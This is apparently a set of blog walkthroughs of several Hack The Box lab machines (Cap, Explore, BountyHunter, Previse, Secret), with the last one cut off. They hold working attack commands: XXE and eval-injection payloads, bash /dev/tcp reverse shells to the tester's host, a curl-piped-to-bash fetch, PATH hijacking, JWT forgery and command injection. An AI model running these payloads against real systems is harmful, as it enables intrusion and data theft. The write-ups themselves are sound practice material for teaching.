The authenticity of host '10.129.229.43 (10.129.229.43)' can't be established.
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ cat user.txt
e88▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9f2

Authenticated Host Enumeration

First, I downloaded the latest copy of LinPEAS. Next, I span up a Python3 web server in the same directory as LinPEAS. I then used wget on the target box to download LinPEAS from my Python3 web server. Finally, I gave it executable permissions and ran it. As a result, I learnt that Python has the ability to setuid. If Python is owned by root then I should be able to use Python to set my user id to 0 thus giving me root.

Attack Box

Downloading LinPEAS and spawning webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230402/linpeas.sh

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Target Box

Downloading, changing permissions and executing LinPEAS.

nathan@cap:~$ wget http://10.10.14.36/linpeas.sh
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ./linpeas.sh
LinPEAS

Cap Privilege Escalation

First things first, I checked to see if Python was owned by root and sure enough it was.

nathan@cap:~$ ls -laSH /usr/bin/python3.8                                                                                                                    
-rwxr-xr-x 1 root root 5486384 Jan 27 2021 /usr/bin/python3.8

Next, I started Python imported the os module and used it to set my ID to 0.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)

Then I checked to see that it had set me to root by running whoami and id.

>>> os.system('whoami')
root
>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Finally, I spawned a shell and used it to capture the root.txt. flag.

>>> os.system('sh')
# cat /root/root.txt
037▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓06f

Cap Learnings

Cap was a great easy box which I believe I could have solved without a walkthrough. However, I do like reading through walkthroughs and watching IppSec’s video while solving boxes. There is always something new to learn from them. The initial foothold was fun and perfectly demonstrated the dangers of using plaintext FTP. I’m finding it difficult to put into words but it’s also a good example of why it’s important to look at the as a whole. Using one service to disclose information about another service, to then use that information to gain access to the host via another service. A lot of fun.

The privilege escalation was good and in my opinion, is how all easy boxes should be. I discovered it with LinPEAS and immediately had an idea of what I needed to do. Admittedly, I was going to write a script instead of just using Python directly because small brain! Despite not learning a great deal from this box, it did reinforce existing knowledge which I appreciate. Doing something once isn’t enough to be proficient at it so I’m always happy to practise existing skills. I thought this was a really fun box from InfoSecJack but this is the day you will always remember as the day you almost outsmarted Captain Haxez Sparrow.. or something. Thank you and farewell mateys!

Hack The Box – Explore

Explore is an easy Android box created by bertolis on Hack The Box and was released on 25th October 2021. Hello world, welcome to Haxez where today I will be explaining how to root the Android box named explore. This box suggests having basic network and Android enumeration skills and basic Metasploit usage skills. Through rooting this box you will learn basic Android exploitation skills.

Explore Enumeration

After spawning the box, I sent a ping request to ensure that it was online and that I could reach it. Once the box responded, I kicked off a Nmap scan targeting all ports, requesting service versions and running default scripts. As a result, I learnt that ports 2222 for SSH, 40443 for HTTP and 59777 for HTTP were open. Furthermore, port 5555 was showing as filtered but I had absolutely no idea what that was. Interestingly, the banner detection for port 59777 suggested that the service was Bukkit JSONAPI httpd for Minecraft game server. The SSH banner was also showing as Banna Studio.

┌──(kali㉿kali)-[~/HTB/Explore]
└─$ sudo nmap -sC -sV -p- 10.129.231.131 --min-rate 10000 -oA explore
Explore Enumeration

Performing a search for SSH Banana Studio revealed that this was an android box as the results were for Android Apps. Next, I performed a search for “Android port 40443” but didn’t discover much. Finally, I performed a search for “Android port 59777” and the results suggested that the port belonged to a file manager app. Furthermore, the second result was for a CVE on NIST.

Android Port 59777

Visiting the CVE result on NIST reports the following. The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Exploiting ES File Explorer

I loaded up Metasploit and searched for ES File Explorer and the first result or result 0 was an auxiliary scanner module named es_file_explorer_open_port. I told Metasploit to use this module and then ran the info command which reported back the following. This module connects to ES File Explorer’s HTTP server to run certain commands. The HTTP server is started on app launch and is available as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable This module has been tested against 4.1.9.5.1.

I configured the remote host and left the default port and default auxiliary action configured. Running the exploit reported back that the name of the device was VMware Virtual Platform. It seemed like the exploit was working. The module has a bunch of options which you can see below.

Exploiting ES File Explorer

After going through several different options such as listing files, I decided to look at the pictures. I set the action to LISTPICS and ran the exploit. The results showed that there was a suspiciously named file called creds.jpg. For that reason, I changed the auxiliary action to GETFILE and change the ACTIONITEM to the path and name of the image and then ran the exploit.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTION GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/DCIM/creds.jpg
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > exploit
Metasploit

Explore Foothold

After downloading the file, I opened it and saw a set of credentials. The credentials appeared to belong to someone called Kristi and their password was, well see for yourself. I made a note of these and tried to SSH to the host with the credentials. Unfortunately, I ran into an error along the way.

Password Explore

As you can see below, I received the error “no matching host key type found”. After a quick search, I found an Ubuntu forum threat >>HERE<< which solved the problem. I probably should have known this as it was something that came up in an exam recently.

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 [email protected] -o PreferredAuthentications=password
Unable to negotiate with 10.129.231.131 port 2222: no matching host key type found. Their offer: ssh-rsa

Anyway, appending the Host Key Algorithms argument to my SSH command allowed me to authenticate to the host (after a few incorrect password attempts). Once on the box, I couldn’t find the user.txt file so I started enumerating. I used socket stats to check the listening services and found the 5555 port again. After another search, I learnt that this port is for Android Debug Bridge which I know from my attempts to root Android devices.

Listening Services

Explore Privilege Escalation

The Android Debug Bridge should allow me high-privilege access to the device if I can access the service. Therefore, I set up a local port forward through SSH. I had a bit of trouble getting this to work correctly but mostly due to my syntax being incorrect.

┌──(kali㉿kali)-[~]
└─$ ssh -L 5555:localhost:5555 [email protected] -p 2222 -o HostKeyAlgorithms=+ssh-rsa
Password authentication
([email protected]) Password:
:/ $

Next, I had issues connecting to the correct device. I was able to connect to adb ok but when trying to get a shell, I received an error message advising that there was more than one device. I have an emulator set up for another box I’m working on. Anyway, this was another syntax issue which was resolved after a quick search.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
Explore ADB

Now that I could successfully connect to the device, it was time to disconnect and reconnect as root. Running adb root will restart adb and give me root permissions on the device. Once on the device as root, I was able to capture both the user and root flags.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 root
restarting adbd as root

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
x86_64:/ # cat /storage/emulated/0/user.txt
f32▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓250
x86_64:/ # cat /data/root.txt
f04▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8c5
x86_64:/ #

Learnings

This was a nice easy box for first thing on a Monday morning. I ran into a few issues while solving it but nothing too difficult. The initial information-gathering phase was typical as I tend to perform a TCP scan on all ports regardless. The services would have thrown me off a bit had I not known this was an Android device going into it. I liked the initial “exploit” to get files as I remember having that application installed on one of my phones in the past.

The privilege escalation was fun as I got to practise local port forwarding but with a few complications. That took me a few attempts to get the syntax correct due to the host key algorithms. I also learnt how to use ADB from the Linux terminal which I hadn’t done before and how to get root through it. Overall, this was a nice box which taught me a few things about android. Thanks

Hack The Box – BountyHunter

BountyHunter is an easy Linux box created by ejedev for Hack The Box and was released on the 24th of July 2021. Hello world, welcome to haxez and if you want to know how to hack BountyHunter then, This Is The Way! To complete this box, it is recommended that you know Python and basic Linux. The skills obtained from hacking this box are XXE injection and Source code review.

BountyHunter Enumeration

After spawning the box, I pinged it to ensure that it was up and running. Following that, I performed a Nmap scan to identify listening services and service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, the box had an Ubuntu operating system and was running Apache 2.4.41. As SSH was unlikely to be the attack vector, I went to take a look at the website.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ sudo nmap -sC -sV -p- 10.129.95.166 --min-rate 10000 -oA BountyHunter
BountyHunter Enumeration

BountyHunter Web Application Enumeration

According to whatweb, the application was built using a combination of Bootstrap, HTML5 and Jquery. Additionally, whatweb verified some factors that Nmap discovered. Not much else was revealed from whatweb so I navigated to the application to investigate further.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ whatweb -a3 http://10.129.95.166/ -v
BountyHunter Web Application Enumeration

The application was a fairly standard modern service information page. Scrolling through the content it appeared to be a website advertising a bug bounty hunting team. There was a contact form at the bottom of the page but it didn’t appear to function. There was also a link to an in-development Bounty Report System that was likely going to be the attack vector. The Bounty Reporting System was being loaded from a PHP file named log_submit.php so I now knew I was now dealing with PHP.

BountyHunter Web Application

Bounty Reporting System

I navigated to the Bounty Reporting System and submitted some test data to see how it was being processed. Initially, I received a message explaining that if the database was ready then the data would have been added. This told me that I probably wasn’t looking at an SQL injection vector.

Bounty Reporting System

Next, I checked the request in Burp to see how it was constructed. As shown below, the user-supplied data was sent as a POST request. Furthermore, the data was base64 encoded and added to the data parameter. Highlighting the base64 encoded data revealed that it was XML. This triggered my Spidey-Sense so I started looking for XML Entity Injection Payloads.

Burp

To test for XXE, I modified the existing XML and defined a new entity called payload. Next, I specified the value of the new entity as “haxez was here”. Finally, I added the payload entity to the title. If the application is vulnerable to XXE then “haxez was here” would be rendered in the title when the application responds.

As you can see from the screenshot below, the value of the payload parameter was rendered in the title thus confirming XXE.

Burp 2

Exploiting XXE

To make life easier, I stole the Python payload from IppSec’s youtube video and used it to retrieve the contents of the /etc/passwd file. All I need to do now is change the value of the fname variable to the file I wanted and the Python script will retrieve it for me. As you can see from the screenshot, it successfully retrieved the /etc/passwd file. If IppSec did a “coding with IppSec” spin-off channel, I would be hooked.

In short, the script takes the XXE payload but replaces the filename with the fname variable. It then encodes it to base64 and sends it to the application. Next, it uses the split function to format the output nicely and then base64 decodes the output. The reason why it needs to base64 decode the output is that we’re first converting the file to base64 to avoid bad characters such as the less than and greater than symbols. Awesome!

BountyHunter code
Python Exploit /etc/passwd

I now had a working exploit to retrieve PHP files from the host but going through the output of the files found in Burp didn’t reveal much. I ran gobuster to enumerate the application’s directories and files and found the database configuration file named db.php.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Database PHP File

BountyHunter Foothold

Using the Python exploit, I retrieved the /etc/passwd and db.php files. Looking through the /etc/passwd file, I noticed that only 2 users had a shell (root and development). Analysis of the db.php revealed that the database username was admin and the password was ‘m19RoAU0hP41A1sTsq6K’

BountyHunter Database Connection String

I added the root and development users to a text file named users.txt and then used crackmapexec to password-spray those users with the database password. This could have also been done with Hydra by supplying a usernames list and the fixed password but crackmapexec is awesome. From the results, I learnt that the developer account was reusing the password for the database. Admittedly, this was a bit overkill but if you had a list of 1000 users, you wouldn’t want to try them all manually.

Crackmapexec SSH Password Test

I could now log in via SSSH as the development user and grab the user flag.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
development@bountyhunter:~$ cat user.txt
1d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e7f

Authenticated Host Enumeration

The first thing I ran was sudo -l to see if I could run anything with sudo privileges. This could be an easy win on any box. From the results, I learnt that the development user could run a Python script named ticketValidator.py.

It was time to perform some code analysis. Please note that I’m terrible at Python and will do a horrible job of explaining what the script is doing. At the top of the script, a function named load_file is defined. The function has an if statement to check if the file ends with .md. If not the script will return the error “Wrong file type”. I now know that my file needs to end with .md.

BountyHunter Skytrain Script

Next, there is a function named evaluate which verifies several parameters within the file. This is a large function so I will break it down step by step.

  • The first line needs to start “# Skytrain Inc”.
  • The second line needs to start “## Ticket to “, and have a space after to.
  • The third line needs to start “__Ticket Code:__”.
  • The next line needs to start “**”.
  • Then there a maths calculation which I will come back to later.
  • If those conditions are met then it’s passed to eval which may allow code execution.
Skytrain script

Crafting An Exploit

I attempted to eyeball the exploit but that resulted in a bunch of errors so the next logical step was to steal the source code and run it locally. That way I can debug the payload as I run it through the script. First I created a netcat listener and told it to save all output to a file called ticketValidator.py.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337 > ticketValidator.py

Next, I cat the contents of the file on the target host and sent the output to my netcat listener.

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py > /dev/tcp/10.10.14.36/1337

I then opened the file with codium and ran it. I supplied the path to my inject.md payload and it produced an error on the line performing the “% 7–4” calculation. This was because there is a requirement for a space which you can see with ‘split(“+”)[0]’. As you can see in the terminal window, this didn’t output “hello world” so my payload wasn’t being executed. FYI, I’m terrible at this.

More Code

To fix this, I edited the inject.md file and added the plus symbol after 11.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+print("hello world")

Now when I reran the script, it still errored but it executed my payload.

More code

Next, I tested for code execution and this is where I struggled a bit. However, the payload below works fine. As you can see from the output, it successfully ran the id command and return our user’s id values. Now, I should be able to change the id command to bash so that when the ticket is processed, it runs bash as root and gives me a root shell.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("id")')
BountyHunter Exploit Code

BountyHunter Privilege Escalation

To elevate my privileges I used the following payload.

# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("bash")')

I saved this to a file called inject3.md and then ran the ticketValidator.py script with sudo and specified the inject3.md file. Sure enough, this spawned a bash shell as root and allowed me to capture the root.txt flag.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
inject3.md
Destination:
root@bountyhunter:/home/development# cat /root/root.txt
bf2▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e1e

BountyHunter Learnings

BountyHunter was a fun box and help me understand XML entity injection better. I think I’ve only completed a few boxes that required XXE but I’ve taken long breaks so may have forgotten. I believe that I understand it now and can craft payloads (provided I have notes). However, I’m sure that I will run into another brick wall once I move on to medium boxes and the applications start validating input a bit more. Overall, the foothold was a lot of fun and was well within my current capabilities.

The privilege escalation on the other hand was an entirely different beast. I can say with 100% certainty that I wouldn’t have solved this without a walkthrough. Despite finding the script and recognising that eval equals bad, I wouldn’t have been able to construct the payload. My code analysis skills are nonexistent so trying to identify the specifics required to create a valid ticket would have defeated me. The invalid tickets didn’t help me either although I’m sure they helped others. This isn’t a criticism of the box at all, the box was great. It highlighted an area that I’m struggling with. I hope that exposure will help me improve but at present, I don’t see a path forward without taking a step back and learning to code. I tend to miss the small details like requiring spaces. Anyway, thanks for the box.

Hack The Box – Previse

Previse is an easy Linux box created by m4lwhere on Hack The Box. It was released on the 7th Aug 2021 but I’m going to hack it today. Hello world, welcome to haxez, where I will I’m going to explain how I hacked Previse. It is recommended that you have basic web exploitation skills, basic password cracking skills and, basic Linux privilege escalation skills. We will learn Execution After Redirect (EAR) abuse, abusing PHP exec() function, hash cracking with Unicode salt and PATH hijacking.

Previse Enumeration

After spawning the box, I sent a ping request to ensure it was online. Following that, I performed a Nmap scan against all ports, requesting service versions and running default scripts. As a result, I learnt that ports 22 for SSH and ports 80 for HTTP were open. Looking at the results I could see that the box’s OS was Ubuntu and that the Apache version was 2.4.29. There was no httponly flag set on the PHPSESSID cookie so It could be stolen with XSS. However, I don’t think that’s part of the box, it’s just an observation.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ sudo nmap -sC -sV -p- 10.129.95.185 --min-rate 10000 -oA previse
Previse Enumeration

Previse Web Application Enumeration

Since SSH was unlikely to be the attack vector, I visited the web application. Upon visiting the application there was a login form but not much else. I tried to log in with a few different sets of credentials but didn’t have much luck. Next, I ran some automated scans with Nikto and whatweb but didn’t learn much that I could use.

Previse Web Application Enumeration

Following the Nikto and whatweb scans, I ran gobuster to try and discover any sensitive content. The output of the gobuster scans shows some interesting behaviours. When getting redirected (whether a 301 or a 302), the size of the content changes depending on where you’re being redirected to or from.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Previse Web Application Gobuster

Execute After Redirect

The inconsistent file size on the redirects is being caused by a vulnerability known as an EAR or Execute After Redirect vulnerability. To illustrate, I have captured a request to the root of the application. Usually, one would expect to see a 200 response code and for the index.html or index.php page to load. However, this application attempts to redirect the visitor to the login.php page which produces the 301 or 302 response code. While this isn’t that unusual, the inconsistent redirect file size is. This suggests that content is being loaded during the redirection. As you can see below, the application shows me as being logged in before redirecting me to the login page.

Execute After Redirect 1

As you can imagine, this is a big information disclosure problem. I can now visit any page I like and retrieve sensitive information that would otherwise be protected by authentication. For instance, if I try visit the accounts.php page that gobuster discovered, I will be redirected to the login page. However, if I go to my Burp history, I can see the accounts page before the redirection takes place.

Execute After Redirect 2

Exploiting Execute After Redirect

Information disclosure is great but I can now abuse the EAR vulnerability to change the behaviour of the application. First, I turned intercept on and made a request to /accounts.php in the browser. Next, I told Burp to intercept responses from the server.

Execute After Redirect 3

After sending the request, I received the redirection page. I change the response code from 302 to 200 so that the redirection never takes place. Finally, I forwarded the request and the accounts page loaded in the browser. I feel like I’m Doctor Strange changing the universe so that nobody knows who Spiderman is.

Execute After Redirect 4

With the accounts.php loaded in the browser, I attempted to create a new user called haxez with the password of password. I clicked the create user button and as you can see from the Burp screenshot below, the user was successfully created.

Execute After Redirect 5

I was then able to log in as the newly created user. This is some mysterious witches’ and wizards’ dark arts time stop magic! This is why I have a huge amount of respect and admiration for good web application hackers. There are so many technologies and quirks to those technologies that they must have studied for a lifetime to be good. Web-hacking witches and wizards, I salute you and you’re magic.

Previse Authenticated

Further Enumeration

After logging in to the application, I started poking around. I noticed the files page and saw that it had a backup file of the application. Nmap identified that the webserver was apache, and whatweb identified that the site was written in PHP. Since the site has an authentication mechanism, I can assume that it has a backend database. Furthermore, I can also assume that the site backup may contain the configuration file that allows the application to connect to that database.

Previse Site Backup

I downloaded the files and sure enough, there was a config.php file which contained credentials for the database. The username was root and the password was mySQL_p@ssw0rd!: Immediately, I tried to SSH to the box with the credentials (call me an optimist) but they didn’t work. However, they could come in handy later so I kept them safe.

Database Connection String

Previse Foothold

I performed a grep on all files to search for all instances of ‘$_’ as this would show user interactable variables. One of the last lines in the results shows that the file logs.php contains the PHP exec function. The PHP documentation for this function explains that it can be used to execute external programs. Currently, the function is being used to execute a Python script which stores the results in the $output variable. However, I should be able to escape this using a semicolon and execute my own command.

PHP Exec Function

I visited logs.php and submitted the request. Next, I went to my Burp HTTP history to find the request and forwarded it to the repeater. Following that, I set up my netcat listener on port 9001. Finally, added my reverse shell to the request, URL enoded it and sent it. I received a reverse shell back and was able to run whoami, but then it died. This kept happening after every command.

delim=comma%3b+bash+-c+'bash+-t+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Broken Shell

Not knowing why this was happening, I threw a bash script together and hosted it using a Python webserver. Then I modified the original request to curl the file from my host and execute it using bash. The reverse shell was now much more stable.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/1337 0>&1

delim=comma%3b+curl+http%3a//10.10.14.36/shell.sh|bash
Revere Shell With Curl

I upgraded my shell but was unable to capture the user flag.

Unable to capture flag

Previse Authenticated Host Enumeration

First, I ran socket stats to see what services were listening. As you can see, MySQL was listening on port 3306 and I already had the credentials to access it.

Previse Authenticated Host Enumeration

I logged in to MySQL as the root user and then used the show databases command. From the results, I learnt that there was a database named precise. Furthermore, telling MySQL to use that database and then running the show tables command revealed that there was an accounts table. Finally, I asked MySQL to dump the contents of that table which gave me the hashes for the Previse web application users.

www-data@previse:/var/www/html$ mysql -u root -p 
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
mysql> show databases;
mysql> use previse;
mysql> show tables;
mysql> select * from accounts;
Hashes Dumped

However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.

mysql> select TO_BASE64(password) from accounts where id = 1;
select TO_BASE64(password) from accounts where id = 1;
+--------------------------------------------------+
| TO_BASE64(password) |
+--------------------------------------------------+
| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |
+--------------------------------------------------+
1 row in set (0.00 sec)

I copied the base64 encoded data to my localhost and then echoed and piped it to base64 to decode it before appending it to a file called hash.txt

Previse Lateral Movement

As I had now obtained a password hash for the m4lwhere user, I fed it to hashcat to see if I could crack it. Hashcat successfully cracked the hash and revealed that the password was ilovecody112235!

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat

After cracking the hash, I successfully switched users to the m4lwhere user and was able to capture the user flag.

www-data@previse:/var/www/html$ su - m4lwhere
su - m4lwhere
Password: ilovecody112235!
m4lwhere@previse:~$ pwd
pwd
/home/m4lwhere
m4lwhere@previse:~$ cat user.txt
cat user.txt
007▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓5fc

I could also now log in as the m4lwhere user via SSH using password authentication.

Previse Privilege Escalation

Once logged in via SSH, I ran the sudo -l command to see if I had sudo and if so, what I could do with it. The output showed that could run a backup script but the output didn’t look right. For example, if I compare the output of sudo -l from my local machine to the output on the target host, the target host is missing the paths.

┌──(kali㉿kali)-[~]
└─$ sudo -l
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kali may run the following commands on kali:
(ALL : ALL) ALL

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh

I checked the contents of the backup script to see what it was doing. In short, the script was using gzip to compress log files and save them to the /var/backups directory. However, it wasn’t calling gzip using an absolute path. Therefore, I should be able to create my own gzip file and then change my PATH environmental variable so that the script executes my gzip as root.

Backup Script

First, I changed the directory to /tmp and created my gzip file. The new gzip file creates a reverse shell back to my box on port 9003. I then gave it executable permissions

m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9003 0>&1
m4lwhere@previse:/tmp$ chmod +x gzip

Next, I changed my PATH environmental variable to point to /tmp. However, I buggered this up a bit and couldn’t run other commands until I fixed it. I didn’t include the rest of the binary paths. Fortunately, I was able to set it again with the rest of the paths.

m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Finally, I set up a netcat listener on my box and then executed the /opt/scripts/access_backup.sh script as sudo which sent a reverse shell back to my box and allowed me to capture the root flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9003
[sudo] password for kali:
listening on [any] 9003 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.95.185] 52792
root@previse:/tmp# cat /root/root.txt
cat /root/root.txt
97f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓10a

Previse Learnings

This was a great box and probably one of my favourites now. I learnt about a web vulnerability that I hadn’t heard of before. Exploiting that vulnerability felt like I was uncovering some secret ancient forbidden magic. Furthermore, I didn’t know you could just change the status code on a whim to change behaviour but of course, you can.

I enjoyed enumerating the box once I had established a foothold. It was running services that I’m fairly familiar with and comfortable using. I always feel out of my depth when I get on a box and hardly recognise anything. The privilege escalation was fun and allowed me to practise and refine my existing skills. Overall, this was an enjoyable box which taught me something new and allowed me to practise on technologies I’m familiar with, perfect!

Hack The Box – Secret

Secret is an easy Linux box created by z9fr on Hack The Box and this is how I hacked it. Hello world, welcome to haxez where in this post I will be explaining how to defeat the secret box. It is a retried easy Linux virtual machine which appears to require manipulating JWT tokens for a foothold. I’ve only recently started learning about JWT tokens so this should be interesting.

Secret Enumeration

I span up the box and pinged it to make sure it was online and that I could talk to it. Next, I kicked off a Nmap scan targeting all ports and requesting service versions and running safe scripts. Below, you can see the output of the scan showing that ports 22 for SSH, 80 for HTTP and 3000 for HTTP were exposed. Furthermore, Nmap has identified that it is an Ubuntu box running an Nginx webserver with a Node.JS Express application.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ sudo nmap -sC -sV -p- 10.129.236.242
Secret Enumeration

Secret Application Enumeration

I navigated to the application on both ports 80 and 3000 and the application was the same. As a result, I started poking at the application on port 80 and discovered that I was able to download the source code. Furthermore, the application is well documented.

Secret Application Enumeration

For example, the register user button took me to a page explaining how to register a user via the API. It seems that I need to send a post request with various parameters in the Json body.

User Registration

User Registration

I sent a GET request to Burp Repeater and changed the request method to POST. Next, I added the required Json body content and sent the request. Initially, it sent back an error because there was some character length validation on the username and password. However, after modifying the request to comply with the character length, it worked. One thing I did notice was that the requests were being sent to port 3000.

Burp Request

User Authentication

Next, I took a look at the ‘Login User’ documentation which explained how to log in. The request was similar but only required the email and password. Furthermore, the endpoint was ‘/api/user/login’ rather than register. I sent my user registration request back to ‘Repeater’ and modified it to meet these requirements. I sent the request and the response contained a JWT token.

More Burp

Secret Static Code Analysis

I attempted to submit the token to the API but it rejected it because I wasn’t sure how to send it. After downloading the source code and watching IppSec’s Youtube video, I stumbled upon the verifytoken.js function. Below, you can see this function and that it requires the header auth-token.

Secret Code Analysis

After modifying the GET request, I was able to get a response back from the application informing me that I was a normal user. In conclusion, I have now worked out the authentication process which should make it easier to attack.

Burp

JWT Token Secret

JWT stands for JSON Web Token, and it’s a compact, URL-safe means of representing claims to be transferred between two parties. It is commonly used for authentication and authorization purposes in web applications. The JWT contains encoded information that includes a set of claims, such as user ID or access rights, and a signature to verify the authenticity of the token. The signature is based on a secret key that only the server knows, making it difficult for a malicious party to tamper with the token. We can view our existing JWT token on jwt.io.

JWT Secret

Above, we can see the decoded JWT token containing the signature algorithm of HS256. Furthermore, it includes our ID number, name, email and the issued time. Finally, it has a signature which is used to verify the token. I’m still learning how the signature process works so I may have explained it incorrectly. However if the signature is wrong, the server will reject the token.

Secret Git History

While listing out the contents of the downloaded source code, I noticed a ‘.git’ file. The persence of this file implys that this is a git repository.

Secret Git History

I decided to check the git commit history. Below you can see the results of running the ‘git log’ command. Furthermore, I noticed an interesting comment explaining that the ‘.env’ was removed for security reasons.

Git Commit History

I decided to take a look at this commit by using the ‘git show’ command followed by the unique identifier. Below, you can see the output which includes the value of the TOKEN_SECRET parameter. This appears to be the secret key that the server is using to validate the JWT tokens.

Token Secret

Forging A JSON Web Token

Now that I have the secret token, I should be able to make my own tokens which the server should verify. I confirmed this by heading back to jwt.io and inputting the token secret into the signature.

Forging A JSON Web Token Secret

Next, I coped with the new encoded token and modified the GET request to ‘/api/priv’ with the new token. I then sent this request to the server and it validated me. At this point, I can see where this attack chain is going but there are some unknown parameters. I believe we have the admin email address but we also need their ‘_id’. I suspect we will find it in the source code.

More burp

The Admin

Looking through private.js I noticed an if statement that checks if the username is ‘theadmin’. If the username is ‘theadmin’ then it will respond with “welcome back admin”. There don’t appear to be any other checks (such as the _id).

More code review

For that reason, I headed back to jwt.io and changed the name parameter to ‘theadmin’. I didn’t change anything else.

More JWT

Next, I went back to Burp and updated the request with the new token and sent it. Sure enough, the application responded with “welcome back admin”. It’s surprising that there were all those additional parameters that didn’t get verified.

Burp Secret

Secret Foothold

Digging deeper into the private.js file I noticed that there was a ‘/logs’ route. In short, if our JWT token identifies us as ‘theadmin’ then we can access ‘/logs’. Furthermore, the ‘logs’ route accepts parameters and passes them to ‘git log –oneline’. This should allow me to command execution.

More code

Below, you can see a GET request to the ‘logs’ endpoint with the file parameter appended. Furthermore, the value of the file parameter is ‘test;whoami’ where the test is the search string, and the semicolon escapes the search and runs the ‘whoami’ command. This proof of concept was successful and I was able to enumerate the webserver user.

More Burp Secret

I created a reverse shell and base64 encoded it ensuring to do so in a way that removed plus and equals sign symbols. Next, I set up my netcat listener on port 9001.

┌──(kali㉿kali)-[~]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.14.34/9001 0>&1' | base64 -w 0
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx

I then appended the base64 encoded payload to the file parameter and commanded the server to echo the base64 encoded string, decode it and execute it with bash.

GET http://localhost:3000/api/logs?file=test;echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx+|+base64+-d+|+bash

This sent a reverse shell back to my machine and I was able to capture the user flag.

┌──(kali㉿kali)-[~/HTB/Secret/local-web]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.236.242] 39934
dasith@secret:~/local-web$ cat /home/dasith/user.txt
cat /home/dasith/user.txt
449▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓058
dasith@secret:~/local-web$

Secret Persistence

